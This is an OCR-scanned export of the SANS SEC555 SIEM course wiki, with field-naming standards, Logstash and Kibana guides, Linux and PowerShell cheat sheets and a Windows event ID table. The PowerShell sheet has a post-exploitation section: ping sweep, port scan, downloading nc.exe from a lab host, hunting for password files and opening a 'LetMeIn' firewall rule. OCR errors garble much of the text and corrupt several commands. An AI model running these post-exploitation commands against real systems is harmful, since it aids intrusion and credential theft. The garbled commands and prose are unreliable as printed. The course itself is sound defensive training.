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Welcome to SEC555!

iT‘i

SETFT5 Por al Yersion 2.2822.

The goal of the SEC555 wiki is to provide knowledge to the security community. As one gets better we all get better! As
such this is a free source of cyber defense information primarily around Security information Event Management (SIEM)
systems.

The other goal is for SEC555: SI M ith Tac ical Ar lytics students and is to increase the in-cl  :, and, most importantly,
after-class value of the course material. It is also designed as a method to give back to the security community by
providing free information. This wiki is, and likely always will be, very much a work in progress.

Contained in the wiki, you will find:

« Tool and technique cheat sheets
+ Reference guides
« Information about 555 instructors

* Electronic Copies of the Lab Guides (copy nd pas , FTW!!) (Digital labs are only available on stud nt VM - SEC555
course attendees only) ...and more

Note: If you are using the student VM included when taking SEC555 you have the capability of turning on automatic wiki/
lab updating.

Recommendations - PLEASE READ

The following is highly recommended to do before diving in.

Discover howtouseth Snm Pl jer. Videos are played using Smart Player and there are some features you may not
know exist without checking out this guide. The videos created in the wiki took a tremendous amount of time to put

© 2022 SANS Institute 1



together due to adding many features that Smart Player allows such as searching for any word spoken by the presenter

and jumping to that section of the video.

How to manually update the wiki
To manually update the wiki content run the command below.

sudo /bin/bash /scripts/wiki_up.sh

Data files and Time within the Labs, DTF and Bootcamp

Note: You may need to change the time within Kibana to see log files that are older than 5 years in age. In order to do this,
itis t  ly recommended that you choose within the ib na Time Fi ter tool at the top left side of Kibana, then select

r.

ive, followed by entering a time up to 6 Years ago as show in the picture below. In some cases, you may need to go

back even further for example up to 10 to 50 years in the event an attacker has performed a tim st m "1g attack against

the host system where the logs were sourced.

e Sae O n  Siare CALtorefres -~ T L ? I
Time Ran e
LI ¢ S
O e  ; SetTnoL
= Plisp? T DA N2
6 ‘ea s ag - ¢ Seconds o v
r~ung to e year r. ndiot eseron-

Course/Lab/Wiki Bugs or Suggestions

Please let us know if you find any bugs in the courseware/labs/wiki we need to squash. Also, reach out if you have

suggestions to improve the course (e.g. content/labs/tools that should be added, removed, or updated). The easiest way

to submit these improvements is by sending an email to scett.lynch@slteksystems.com

2 © 2022 SANS Institute



Course OneNote Notebook

Please find the following course OneNote link provided for your use with this class. It is provided as is and updated/
monitored by the instructors of this course to help provide additonal material related to but not tested within the GCDA
GIAC exam.

hitp://sec555.com/sec5552022

Course DropBox Link

The following DropBox link is provided for use during class when additonal files may be needed or shared during the
class.

http://sec555.com/555ropbox

Alumni Mailing List

Join the 555 alumni Slack channel:

https://sec555.com/slack.php

© 2022 SANS Institute 3



Resources

Field Nam... Guic :lines

Logsta ‘ Configuration Ar chrecture

Smart Player

Linux Command Line Chea Sheet

LinuxCL 1071

SANS Powe; oi.ell Cheat Sheet

Yindows “ver * Lot - Table

Regular Expressions Cheat Sheet
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Field Eme Standards

Note

Standards are to be considered manadatory conventions
z

1. Only use lower case characters ('first_name" instead of "FirstName")

2. Avoid special characters except underscores ("first_name" instead of "first name")

3. Use underscores to separate words in a field name ("destination_port" instead of "destinationport")

4. Due to individuals abbreviating differently, do not use abbreviations ("source_port" instead of "src_port")
5. Always use singular forms not plural ("message" instead of "messages")

6. Use proper spelling of words

7. IP address fields must end with "_ip" (this is for dynamic mapping)

8. All IP addresses will receive GeolP lookups for geo and ASN, which will be added to a corresponding "*_geo" field (i.e.
"source_ip" will derive "source_geo")

9. All IP addresses must be added to the ips array

10. All user fields must be added to the users array (field data from fields such as "user”, "source_user", "destination_user"
should be added to users array)

Field Name Guidelines

Note

Guidelines are suggested conventions to adopt, but not as critical as the standards listed above.

1. Use present tense unless field describes historical information (Example: end of connection recording "bytes_received")

2. Always use singular forms not plural ("message" instead of "messages”)

© 2022 SANS Institute 5



Exc . .ion: When describing something that is past tense and the expectation is for multiple values ("bytes_received"
instead of "byte_received")

3. Whenever possible rename fields to match consistent names so long as renaming the field does not cause the event to
lose context (Example: "unauthorized_user” may be able to be renamed to "user” if the only event that contains the field
‘unauthorized_user" has another field that provides the context of a failed login)

4. Whenever possible, rename field names with the same purpose to one field name ("SrcIP", "SourcelP", "src_ip", should
be consolidated to "source_ip")

Common field name replacements

IPAddress, IP, ip_addr ip

SourcelP, src_ip, local_ip source_ip
DestinationIPdst_p, remip destination_ip
Username, User user
SourcePort, src_port, locport source_port

DestinationPort, dst_port, remport destination_port

6 © 2022 SANS Institute



Logstash Naming Logic

Logstash can load a single configuration file or multiple. In production environments, it is recommended to seperate
configuration files into seperate pieces. Doing this and using a standard naming convention provides many advantages
such as:

1. Less code written/code reuse

2. Standardized field enrichment

3. Simplified configuration administration
For example:

« OXXX is for input files. These are used to accept logs off the network or pull logs from a database or log buffer. A file
called 0001 _input_firc  ll_palo_alto.conf may accept firewall logs and 0002_input_bro_conn.conf may accept bro
conn logs

+ 1XXX is for initial parsing. These configuration files parse out the initial fields. 1001_firev. 'I_p lo_ | o.conf would
parse out the fields for palo alto such as by using kv. 1002_bro_conn.conf would parse out bro fields either with grok
OrF CSV.

« 8XXX is for post processing. This is were standardized enrichment is applied. For example, you could take the field
called source_ip and perform geoip lookups, threat intelligence feed checks, etc in a file called
8001_ip_enrichment.conf. This file would work for both fields from bro_conn and the firewall logs.

With the example above you would not have to apply enrichment per each data source as the file
8001 _ip_enrichment.conf does it for all logs that have a source_ip field.

‘Config-Numbering Graphic

The initial recommendation is to use the below numbering schemes with your log files. The scheme uses four digit
numbers at the beginning of each configuration file where the first number specifies what the configuration file function is
intended for.

© 2022 SANS Institute 7
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Post processing assumes standardized field names such as src_ip, id.orig_h, ip.src renamed to source_ip

SEC555 Logstash Configs

SEC555 VM

Logstash config files are stored on SEC555VM at: /1labs/logstash/logstash_configs

GitHub

Justin Henderson's (@SecurityMapper) Logstash Configs on GitHub: https:/github.com/ HASecuritySolutions/
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Abstract

Smart Player is a HTML video player that enhances videos by provided them with extra capabilities such as interactive
images, quizzes, closed captions, and search capabilities. It is part of the Camtasia video editing software by Techsmith.

Capabilities

Smart Player is an interactive video player. It allows videos to support extra functionality such as:

+ Chang player speed -1 tively

« Click on items within video to open links

- Close Caption Support (see text of presenter talking)

- Table of cor: nts - Allows you to quickly jump to specific sections in a video

- S: ¢h- Searching allows you to search for any word the presenter has said and then click on the section to jump to
that section within the video

Searching
The most time consuming part of Smart Player is making the videos searchable. This extremely awesome capability

allows you to jump to any section a specific word or words are spoken as well as quick jump to key sections. This is done

by clicking on the Table of Contents icon and either searching for a keyword and clicking on one of the results or clicking
on one of the table of content links.

© 2022 SANS Institute 9
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O, Logstash|

This is an example of
searching for the word
Logstash within a video
Exercise — Step-by-step instructions
1. Parse flabs/lab1.3/auth.log

Te & -casd & H e & F s Hm=siaTp, g B ‘mams
= =ysiog =pElon B Rid = ="
F U0 gl s ia § [ b
1 1o T2

T Click on any of the

b responses to jump to f
- where it is found within the
! “ video

kel -

b= FTAAY

Closed Captions

Closed captions allows you to read what the video presenter is saying on the screen. To enable it or disable it click on the

closed caption icon.
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Exercise — Step-by-step instructions

o 1. Parse /igbs/lab1.3/auth.lc 4
The : : = 5t - PR | \ siEs
tc - 1 B om s 3 -
T2 * iz, &

Thsssipinke 2 o7

" ' ‘ Enable or disabl .
grok closed captions by
clicking on CC

elas °

Interactive links

Sometimes content within a video is interactive and can be clicked on to open links to relavent information pertaining to

the video being watched.
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Exercise — Step-by-step instructions
1. Parse /labs/lab1.3/auth.l- -
Clicking on certain things within ™= ™

1o

tcp . i

Smart Player will open links in the
wiki. Use this to find mare
information and examples.
grok These four items are examples o
of interactive content that can be
clicked on.
# o=
iastic  mh
Changing play speed

To change the playback speed of a video click on the gear icon and set the playback speed. The choice of speedis a

multiplier. For example, selecting 2.0 will make the video play twice as fast as normal. Selecting 0.5 would half the video
playback speed.
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You can speed up

- . or slow down the

S - video by choosing
T - the playback speed

Exercise — Step-by-step instructi.
TRo. 1. Parse /labsflab1.3/auth.! ~

& = o] mie 1 £ myler B

' - gd. ] 1 4 fo
= P mse
T 1 .01 - £1art 3/8
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27413 s ed
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+ Abstract

p=_-3 e ——

The following examples may be typed in the Security511 Linux VM, and copy/paste will work fine (be sure to omit the
prompt). * To copy in Firefox: press CTRL-C * To paste into a terminal: press SHIFT-CTRL-V (or Edit->Paste)

Many of these examples will use the "cat example.txt | command" syntax. This is safer than the equivalent syntax of
"command < example.txt".

Why? Most everyone learning the Unix/Linux commandline has accidentally reversed the "<" sign (read) with the ">" sign
(write), accidentally overwriting a file. The syntax of "cat example.txt | command" is therefore safer. Please feel free to use
whatever syntax you are most comfortable with.

On a related note, "There is more than one way to do it," as Larry Wall once said. You may come up with different ways to
perform the following, and perhaps better ways as well. Feel free to share your CLI Kung Fu with your instructor!

= . _— -

VVhere to Acquire

These tools are installed natively in most Unix/Linux distributions, as well as OS X.

. Exa?p.les/ Use Case

+awk

« checksum tools
s cut

- file

*grep

* head

* sed

* sort

*WC

o xxd

© 2022 SANS Institute 15



awk

Print the length of each line of a file (/etc/passwd in this case), followed by the line itself:
$ cat /etc/passwd | awk '{print length, $6;}'

Print the 2" field from a file using the string 'Mozilla/' as a delimiter:
$ cat /var/log/apache2/access.log | awk -F "Mozilla/" '{print $2}'

Print the last period delimited field

$ cat domains.txt | awk —-F "." "{print $(NF)}’

checksum tools
Generate the MD5 checksum of a file:
$ mdSsum [etc/passwd
Generate the SHA1 checksum of a file. The three following commands are equivalent:

$ shalsum /etc/passwd
$ shasum /etc/passwd
$ shasum -al /fetc/passwd

Generate the SHA-256 checksum of a file:
$ shasum -a256 /etc/passwd
Generate the SHA-512 checksum of a file:

§ shasum —a512 [etc/passwd

cut
Cut the 2" field from a file, using the space as a delimiter:
. $ cat /var/log/dpkg.log | cut -d' ' -f2

Cut the 6t field from a file, using the colon as a delimiter:

16 © 2022 SANS Institute



$ cat /etc/passwd | cut -d: -f6
Cut the 2" and 3" field from a file, use the comma as a delimiter:
$ cat /labs/honeytokens/pilots.csv | cut -d, -f2-3
Cut beginning at the 7t field, to end of line, using the space as a delimiter:

$ cat /var/log/dpkg.log | cut -d' ' -f3-

Cut the 61" field, using the double-quote (") as a delimiter, and escaping it to treat it as a literal character:

$ cat /var/log/apache2/access.log | cut -d\" -f6
Cut the beginning at the 111 character, to end of line:

$ difconfig | cut -cli-

file
Determine the file type, using the file's magic bytes:

$ file /Jusr/local/bin/*

grep
Search for lines containing the string "bash", case sensitive:
$ grep bash /etc/passwd
Search for lines containing the string "bash", case insensitive:
$ grep -1 bash /etc/passwd
Search for lines that do not contain the string "bash’, case insensitive:

$ grep -vi bash /etc/passwd

Search for lines containing the string "root", case sensitive, plus print the next 5 lines:

$ grep -A5 root /etc/passwd

© 2022 SANS Institute
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head
Print the first 10 lines of a file:

$ head -n 1@ fetc/passwd

sed
grep for lines containing "Mozilla", then change "Mozilla" to "MosaicKilla":
$ grep Mozilla /var/log/apache2/access.log | sed "s/Mozilla/MosaicKilla/g"
grep for lines containing "Mozilla", then delete all characters up to and including "Mozilla":
$ grep Mozilla /var/log/apache2/access.log | sed "s/A.xMozilla//g"
grep for lines containing "Mozilia", then delete all characters that precede "Mozilla":
$ grep Mozilla /var/log/apache2/access.log | sed "s/*.*Mozilla/Mozilla/g"
sort
The following examples will run strings on a file, search for user-agent (ignore case), and use various sort options
Simple alphabetic sort (may include duplicates)
$ strings /pcaps/fraudpack.pcap | grep - user-agent | sort
Sort and unique lines. The two following sets of commands are equivalent:

$ strings /pcaps/fraudpack.pcap | grep —-i user-agent | sort -u
$ strings /pcaps/fraudpack.pcap | grep -i user-agent | sort | unig

Get a numeric count of each unique entry:
$ strings /pcaps/fraudpack.pcap | grep -i user-agent | sort | unig -c
Get a numeric count of each unique entry, perform a numeric sort of that count;

$ strings /pcaps/fraudpack.pcap | grep -i user-agent | sort | unig -c | sort -n

18 © 2022 SANS Institute



Sort and unique lines, print the length of each unique line followed by the line itself, perform a reverse numeric sort of that
count:

$ strings /pcaps/fraudpack.pcap | grep -i user-agent | sort -u | awk '{print length, $0}'] sort -rn
Sort on the the second comma separated field

$ cat /bonus/alexa/top-lm.csv sort -t, -k2

we
Determine number of lines in a file (the flag is the letter "ell", not the number one):

$ we -1 /Jetc/passwd

xxd

xxd creates a hexdump, or converts a hexdump into binary. A lot of malware hex-encodes web traffic or malicious
payloads (such as DOS executables) in order to avoid signature matching. Useful hex patterns to look for are 4d5a90 (the
magic bytes for a DOS executable: "MZ<90>"), and "DOS mode" (444f53206d6f6465, see commands below).

xxd cannot natively handle percent-encoded hex, such as "%63%67%69%2D%62%69%6E", but can if the percent signs are
removed (see below).

Convert the string "DOS mode" to hex, grouped in sets of 4 hex characters (default):

$ echo -n "DOS mode" | xxd
0000000 444F 320 6d6f 6465 DOS mode

Convert the string "DOS mode" to hex, ungrouped:

$ echo -n "DOS mode" | xxd -g@
0006000 444153206d616465 DOS mode

Convert the hex string "444153206d6f6465" to binary:

$ echo 444f53206d616465 | xxd -r —-p
DOS mode

Use sed to remove the percent signs from the percent-encoded hex string "%63%67%69%2D%62%69%6E", then translate
to binary:

© 2022 SANS Institute 19



echo "%63%67%69%2D%62%69%6E" | sed "s/\%//g" | xxd -r -p
cgi-bin

Additional Info
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Abstract

Fundamental Linux/Unix commands for the Linux/Unix command line learner. If you are experienced with Linux/Unix: you
have probably mastered these commands. If not: you are in the right place.

These commands are designed for use in the Security511 Linux VM.

» Where to Acquire

These tools are installed natively in most Unix/Linux distributions, as well as 0S X.

Examples/Use Case

* bash basics

e cat

- cd

- echo

< ls

* network commands
+ passwd

* ping

* pwd

» sudo

bash basics
Tab-completion:

Folks who are new to the Unix/Linux command line often attempt to type everything by hand. This may work well if you
type quickly and accurately. Most of us are much better off using tab completion.

Note that Windows PowerShell also supports tab completion, but it handles ambiguity differently. See the PowerShell
cheat sheet for more information.

© 2022 SANS Institute 21



Type the following, and then press the <TAB> key:
$ cat /etc/pas

Then press <TAB> .

Note that it autocompletes to /etc/passwd .

Now try tabbing with ambiguity:
$ cd ~/Do

Then press <TAB><TAB> .

Note that it offers two choices: Documents/ Downloads/ .

Now add a "w" and press <TAB> :
$ cd ~/Dow

Press <TaB> . It autocompietes to ~/Downloads/ .

cat
Display a file:
$ cat example.txt

Concatenate (cat) FileA.txt and FileB.txt, create FileC.txt:

$ cat FileA.txt FileB.txt > FileC.txt

ed
Change Directory (cd) to the /tmp directory:
$ cd /tmp

Change to the home directory. The following commands are equivalent for the Security511 Linux VM "student" user: "~"
means home directory (for example: /home/student):

22 © 2022 SANS Institute



$ cd
$ cd ~
$ cd /home/student

Change to the parent directory. For example: if you are in /tmp/subdirectory/, this will change your working directory to /
tmp/:

$ cd ..

echo

Print (echo) the string "Cylon":
$ echo Cylon

Create or overwrite the file example.txt, containing the string "Cylon™;
$ echo Cylon > example.txt

Append the string "Cylon” to the file example.txt:

$ echo Cylon >> example.txt

Is
List the files in the current directory (equivalent to the cmd.exe "dir" command):
$ 1s
List the files in the current directory, long output (), all files including "hidden" files that begin with a "." (-a):
$ 1s -la
List the files in the current directory, long output (-1}, all files (-a), sort by time (-r):
$ 1s -lat
List the files in the current directory, long output (-I), all files (-a), reverse (-r) sort by time (-r):

$ 1s -lart

© 2022 SANS Institute 23



network commarnids

Show network interface configuration:
$ ifconfig

Show network interface configuration using "ip":
$ 1p a

Restart networking:

$ sudo fetc/init.d/networking restart

passwd
Change your password:

$ passwd

ping

ping a host forever (until CTRL-C is pressed), see if it is up (and unfiltered):

$ ping 10.5.11.25
ping a host 3 times, see if it is up (and unfiltered):

$ ping -¢3 18.5.11.25

pwd
Print Working Directory (pwd), show the current directory:

$ pwd

24 © 2022 SANS Institute



sudo

Run a command as root:

$ sudo command
Open a root bash shell:
$ sudo bash

Additional Info

© 2022 SANS Institute
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Purpose

The purpose of this cheat sheet is to describe some common options and techniques for use in Microsoft's PowerShell.

PowerShell Overview

Pc Sh I ¢ round

PowerShell is the successor to command.com, cmd.exe and cscript. Initially released as a separate download, it is now
built in to all modern versions of Microsoft Windows. PowerShell syntax takes the form of verb-noun patterns
implemented in cmdlets.

L unching Pc Sh 1 PowerShell is accessed by pressing Start -> typing powershell and pressing enter. Some
operations require administrative privileges and can be accomplished by launching PowerShell as an elevated session.
You can launch an elevated PowerShell by pressing Start -> typing powershell and pressing Shift-CTRL-Enter.

Additionally, PowerShell cmdlets can be called from cmd.exe by typing:

C:\> powershell -c "<command>"

Useful Cmdlets ‘and aliases)
¢ a ¢ rylistyg(ls, TT,gci):
PS C:\> Get-ChildItem
Copy a file (c , copy, cpi):
PS C:\> Copy-Item src.txt dst.txt
.ove a file (mv, move, mi):
PS C:\> Move-Item src.txt dst.txt
Find . within a file:

PS C:\> Select-String -path c:\users\*.txt -pattern password

26 © 2022 SANS Institute
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PS C:\> 1s -r c:\users\*x.txt -file | % {Select-String -path $_ -pattern password}
Display file contents (¢ _, type, gc):

PS C:\> Get-Content file.txt
Get pre: it drectory (pwd, 1I):

PS C:\> Get-Location
Get a process listing (ps, ps):

PS C:\> Get-Process
Get a service listing:

PS C:\> Get-Service
Forn ‘ting out utof acomm nd (Form *-List):

PS C:\> 1s | Format-List -property name
Paginating output:

PS C:\> 1s -r | Out-Host -paging
Get the SHA1 hash of a file:

PS C:\> Get-FileHash —-Algorithm SHAl file.txt
Exporting output to CSV:

PS C:\> Get-Process | Export-Csv procs.csv

PowerShell for Pen-Te_stef Post—Expioitation

Conduct a p'ng sweep:

PS C:\> 1..255 | % {echo "10.10.10.$_";ping -n 1 -w 100 10.10.10.5_ | Select-String ttl}

Conduct a port scan:

© 2022 SANS Institute



PS C:\> 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.18",5_)) "Port $_ is
open!"} 2>%null

F tchafil vi HTTP(w . nPowerShell):

PS C:\> (New—Object System.Net.WebClient).DownloadFile("http://10.16.10.10/nc.exe","nc.exe")
Fis al files witha rticular name:

PS C:\> Get-ChildItem "C:\Users\" -recurse -include *passwordsx*.txt
G .al' tngof lin Il d crosoft Hotfixes:

PS C:\> Get-HotFix

av t '‘indo s« " ry:

PS C:\> cd HKLM:\
PS HKLM:\> 1s

List programs set to start automatically inth regi .ry:

PS C:\> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run
Convert string from ascii to Base64:

PS C:\>[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("PSFTW!"))
Li tand mo fythe indows firewall rules:

PS Cr\> Get-NetFirewallRule -all
PS C:\> New-NetFirewallRule -Action Allow -DisplayName LetMeIn -RemoteAddress 10.10.10.25

Seritax

—— -

Cmdlets are small scripts that follow a dashseparated verb-noun convention such as "Get-Process". Simil rV rbs wi h
Dii. rent Actions: - New- Creates a new resource - Set- Modifies an existing resource - C - Retrieves an existing resource
- Read- Gets information from a source, such as a file - Find- Used to look for an object - Se rch- Used to create a
reference to a resource - St rt- (asynchronous) begin an operation, such as starting a process - Invo - (synchronous)
perform an operation such as running a command

P« 5 rs:Each verb-noun named cmdlet may have many parameters to control cmdlet functionality.
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Obj cts: The output of most cmdlets are objects that can be passed {o other cmdlets and further acted upon. This
becomes important in pipelining cmdlets.

' FTﬁding Cmdlets

To get a ist of all available cmdlets:
PS C:\> Get-Command

Get-Command supports filtering. To filter cmdlets on the verb set:
PS C:\> Get-Command Setx
PS C:\> Get-Command -Verb Set

Or on the noun process:

PS C:\> Get-Command *xProcess

PS C:\> Get-Command -Noun process

= - - — —— = b -

" Getting Help

To¢ th lpwithl ):

PS C:\> Get-Help
Tore dcmdlet self docum n* tion:

PS C:\> Get-Help <cmdlet>

D tail 1F

PS C:\> Get-Help <cmdlet> —detailed
Usage examples:

PS C:\> Get-Help <cmdlet> -examples
Full (everything) help:

PS C:\> Get-Help <cmdlet> —-full

Online help (if available):
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PS C:\> Get-Help <cmdlet> -online

Cﬂdlet Aliases
Aliases provide short references to long commands.
Toli tav il I ces( i lias):

PS C:\> Get-Alias
Toe: d n I' intoafulln m :

PS C:\> alias <unknown alias>

PS C:\> alias gcm

Efficient PowerShell

T b completion:
PS C:\> get-child<TAB>
PS C:\> Get-ChildItem
FCrm°  hor iing:
PS C:\> 1s -recurse
is equivalent to:

PS C:\> 1s -r

5 PowerShell Essentials

Shows help & examples
PS C:\> Get-Help [cmdlet] -examples
Alias

PS C:\> help [cmdlet] -examples
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“hows a list of commands
PS C:\> Get-Command
Alias
PS C:\> gem x[stringlx
Shows properties m. hods
PS C:\> [cmdlet] | Get-Member
Alias
PS C:\> [cmdlet] | gm
T -seachitemon:  .ine ndhr itas$_
PS C:\> ForEach-Object { $_ }
Alias
PS C:\> [cmdlet] | % { [cmdlet] $_ }F
Se rci .for ing infil sorouv utl rep
PS C:\> Select-String
Alias

PS C:\> sls -path [filel -pattern [string]

Pipelining, Lbops, and Variables

Piping cmdlet output to another cmdlet:

PS C:\> Get-Process | Format-List -property name
ForEach-Object in the pipeline (alias %):

PS C:\> 1s *.txt | ForEach-Object {cat $_}

Wh re-Object condition (alias wt e or ?):
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PS C:\> Get-Process | Where-Object {$_.name -eq "notepad"}
Gn tingr sofnn rs lo

PS C:\»> 1..10

PS C:\> 1..10

% {echo "Hello!"}
Cr ‘ing ndlistingv ri 1| s:
PS C:\> $tmol = 42
PS C:\> 1s variable:
Examples of : singemd iout utdown ° in :

PS €:\> dir | group extension | sort

PS C:\> Get-Service dhcp | Stop-Service -PassThru | Set-Service -StartupType Disabled

Cheat Sheet Version
Version 4.0 A
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System

System

System

Security

Security

Security

Security

Security

Security

Secutity

Security

Security

Security

Application EMET

Firewall

Microsoft-Windows-AppLocker/
EXE and DLL

Microsoft-Windows-AppLocker/
EXE and DLL

Microsoft-Windows-
WindowsDefender/Operational

Microsoft-Windows-
WindowsDefender/Operational

7045

7030

1056

7045, 10000, 10001, 10100, 20001,
20002, 20003, 24576, 24577, 24579

4624

4625

4698

4720

4722

4724,4738

4728

4732

1102

2003

8003

8004

1116

1117

A service was installed in the system

...service is marked as an interactive service. However, the system is configured to
not allow interactive services. This service may not function properly.

Create RDP certificate

Insert USB

An account was successfully logged on

An account failed to log on

User ... registered Task Scheduler task ...

A user account was created

A user account was enabled

Additional user creation events

A member was added to a security-enabled global group
A member was added to a security-enabled local group
Clear Event log

EMET detected ... mitigation and will close the application: ...exe
Disable firewall

(EXE/MSI) was allowed to run but would have been prevented from running if the
AppLocker policy were enforced

(EXE/MSI) was prevented from running.

Windows Defender has detected malware or other potentially unwanted software

Windows Defender has taken action to protect this machine from malware or other
potentially unwanted software
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Resources

ElastAlert

Elasticsearch

Flare

Kibana

Logstash

Beats

Domain Stats

Freg

Freq Server
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Abstract

-

ElastAlert is an open source alert engine for Elasticsearch designed and maintained by Yelp. Under the hood it is a python
framework that is extensible. While free, ElastAlert is one of the best alert engines for Elasticsearch and can likely meet
the needs of most organizations.

e e =) O ————— -

* Where to Acquire

ElastAlert can be found at https:/github.com/Yelp/elastalert. It is open source framework. Installation instructions are
provided at hitps:/elastalert.readthedocs.io/en/latest/

I&émples/ Use Case

TODO
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Abstract

Elasticsearch is a big data platform that is widely used. It is a major open source component of the Elastic Stack.
Elasticsearch commercial subscriptions can be purchased.

Where to Accuire

Elasticsearch can be downloaded from https://www.elastic.co/products/elasticsearch. It is open source but also has a
commercial support offering.

Examples/Use Case

TODO
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+ Abstract

“m— - Ty

Flare is a python script designed to identify command and control beaconing. It does this by analyzing flow data stored in
Elasticsearch. It should support flow data from various data sources but currently has only been tested with Suricata flow
logs.

ackground: adversaries like to maintain access to compromised networks and systems. To do this, they often establish
a command and control network. Infected systems periodically check in with command and control servers (also known
as bot herders)

Problem: detecting connections to command and control servers is extremely hard. Connections may occur only once a
day, every X seconds, or on a seemingly random connection pattern

Solution: reach out to Austin Taylor and Flare is born

Flare helps us solve the problem by applying automated analysis of flow data.

Where to Acquire

Flare can be downloaded from https://github.com/austin-taylor/flare.

Examples/Use Case

This is an example configuration to run flare against an Elasticsearch index called lab5.1-complete-suricata:
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[beacon]
es_host=1localhost
es_index=lab5.1-complete-suricata
.es_port=9200
es_timeout=480
min_occur=10
min_percent=50
window=2
threads=8
period=26280
kibana_version=4
verbose=True

#Elast csearch delds or bea oning
field_source_ip=source_ip
field_destination_ip=destination_ip
field_destination_port=destination_port
field_timestamp=@timestamp
field_flow_hytes_toserver=bytes_to_server
field_flow_id=flow_id

This is the command to run Flare:

flare_beacon -c¢ /labs/lab5.3/files/tab5.3.ini1 --focus_outbound --whois -—group —-—html=/labs/1lab5.3/
student/beacons. html
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Abstract

.

Kibana is a report engine designed for Elasticsearch. It is a major open source component of the Elastic Stack. It is used
to search data and visualize your logs through charts and tables as well as dashboards.

' V.\Fere to Acquire

Kibana can be downloaded from https://www.elastic.co/products/kibana. It is open source but also has a commercial
support offering.

Search Filters

Below are some of the common search filters used with Kibana.

This is an example of looking for an logs that contain the string "password":
password

This is an example of looking for logs that contain the name jhenderson stored in a field called user:
user:jhenderson

Note: Sometimes a string needs to be surrounded with double quotes.

Example:
"sec555.com"

This is an example of looking for logs that contain a source port greater than 40000:
source_port:>40000

This is an example of looking for logs that contain a destination IP between 10.0.0.0 and 10.255.255.255:
destination_ip:[ £.0.0.0 TO 10.255,255.255]

This is an example of looking for logs that have a field named tls:

_exists_:tls
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This is an example of looking for logs that do not have a field named tis:
-_exists_:tls

This is an example of looking for logs that do not have a tag of pci:
-tags:pci

This is an example of looking for logs that are between a specific date:
@timestamp: [20 7-05-01 TO 2017-05-28]

Combining search filters
Search filters can be combined using (), AND, and OR

This is an example of looking for a network connection sourcing from 192.168.0.1 going to 8.8.8.8:
source_ip:192.168.0.1 AND destination_ip:8.8.8.8

This is an example of looking for a network connection coming from 192.168.0.1 or 192.168.0.2:
source_1ip:192.168.0.1 OR source_ip:192.168.0.2

This is an example of looking for a network connection coming from 192.168.0.1 or 192.168.0.2 that is destined for
8.8.8.8:

(source_ip:192.168.06.1 OR source_1ip:192.168.0.2) AND destination_1ip:8.8.8.8
This is an example of looking for network connections coming from 192.168.0.1 that are not going to 8.8.8.8:
source_ip:192.168.0.1 AND -destination_ip:8.8.8.8

Note: Using AND is not required when using an exclusion filter

Here is the same example as above that still works:
source_ip:192.168.0.1 -destination_ip:8.8.8.8
This is an example of looking for network connections that are not going to a private IP address:

~destination_ip:{10.0.0.0 TO 10.255.255.255] -destination_ip:[192.168.0.0 TO 192.168.255,255] -
destination_ip:[172.16.0.0 TO 172.16.31.255.255]
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lﬁbstract

Logstash is a log aggregator designed to collect, parse, and enrich logs. It is a major open source component of the
Elastic Stack. It can be used in conjunction with other commerial SIEM solutions.

_— B =5} -

Where to Acquire

_—

“i—— ey

Logstash can be downloaded from https://www.elastic.co/products/logstash. It is open source but also has a
commercial support offering.

Examoles/Use Case

Below are some of the common configurations used with Logstash.

General Knowledge

« type
- tags

- conditional logic - If statements

type

The type field is a special field often used to control how logs are handled. It can be used to control how a log is parsed
and ultimately stored.

Type is most commonly set within an input plugin. For example, this configuration would set the type to windows anytime
logs come in over TCP port 6052;

input {
tep {
port => 6052
type => "windows"

This type could then be used to conditionally interact with logs with a type of "windows™:
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filter {
if [typel == "windows" {
do something...
}
}

It can also be used to control where the logs ultimately are saved such as an Elasticsearch index of logstash-

windows-2017-06-10:

output {
if [type] == "windows" {
elasticsearch {
index => "logstash-windows—-%{+YYYY.MM.dd}"

tags

Tags are attributes used to apply conditional filtering or to ease searching. It also can be used to route logs to their final

destination. A log can have an unlimited amount of tags.

Tags can be set at input but can also be applied within the filter section. Below is an example of setting a tag of

"windows" for any logs coming in over port 6052:

input {
tep {
port => 6052
tags => "windows"

Below is an example of adding a tag within the filter portion of Logstash:

filter {
mutate {
add_tag => "windows"
1
¥

Below is an example of adding multiple tags within the filter portion of Logstash:

filter {
mutate {
add_tag => [ "windows", "pci", "critical_asset" ]
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Tags can be used to control where the logs ultimately are saved such as an Elasticsearch index of logstash-
windows-2017-06-10:

output {
if "windows" in [tags] {
elasticsearch {
index => "logstash—windows-%{+YYYY.MM.dd}"

Tags can greatly aid in searching and detection techniques. This can be used so that an analyst can quickly search for
whether a connection is outbound to the internet or to an internal system. It also can be used to apply log enrichment to
select logs.

For example, below is an example of tagging IP addresses.

filter {
if [destination_ip] =~ "2(7:2[4-9]1|3\d) (?:\.(?:25[0-5]|2[0-41\d|i\d\d|[[1-9]\d?|0)){3}" {
mutate {
add_tag => [ "multicast" |
1
k;
if [destination_ip] == "255.255.255.255" {
mutate {
add_tag => [ "broadcast" ]
}
1
if [destination_ip] and "multicast” not 1in [tags] and "broadcast" not in [tags] {
if [destination_ip] =~ "10\." or [destination_ip] =~ "192\.168\." or [destination_ip] =~ "172\.
(1f6-91|2f{e-91|370-1])\." {
mutate {
add_tag => [ "internal_destination” ]
}
} else {
mutate {
add_tag => [ "external_destination" ]
t
1
}
1
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{ogic

Conditional logic is required to properly scale and use Logstash in an enterprise environment. It allows you to accept,
parse, or enrich logs based on specific conditions.

A simple condition would be to do something IF a value equals something specific. Example:

filter {
if [field] == "7 {
do_something...

}

Conditions dealing with Numbers

3 :That"7"is not the same as 7. "7" means the string of 7 and 7 means an integer of 7. If the field contained the integer
7 you would need to do this:

Filter {
if [field] == 7 {
do_somethin_...

1

If a field contains a number value than you can use greater than or less than. Examples:

filter {
if Tfield] > 7 {
do_something...

}
}
filter {
if [field] < 7 {
do_something...
+
}

You can also do less than or equal to and greater than or equal to. Example:

filter {
if [Field] >= 7 {
do_something...

}
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Conditions dealing with Strings
When checking against a string you can do an exact match such as follows:

filter {
if [f1 1d] == "string" {
do_something...

}

Or you can do a regex match such as below. The =~ specifies a regex match. The example below looks for the string
"string" followed by any characters.

filter {
if [fi 17] =~ "stringx" {
do_something...

}

Condition checks against a field's existance
If you want to apply a configuration but only if a field exists use this:

filter {
if [f1 1d] {
do_something...

}

The syntax if [field] { means only run if the field fie exists.

Handling multiple conditions

Sometimes you need to apply multiple logical conditions. To do this use and and or. For example, the below configuration
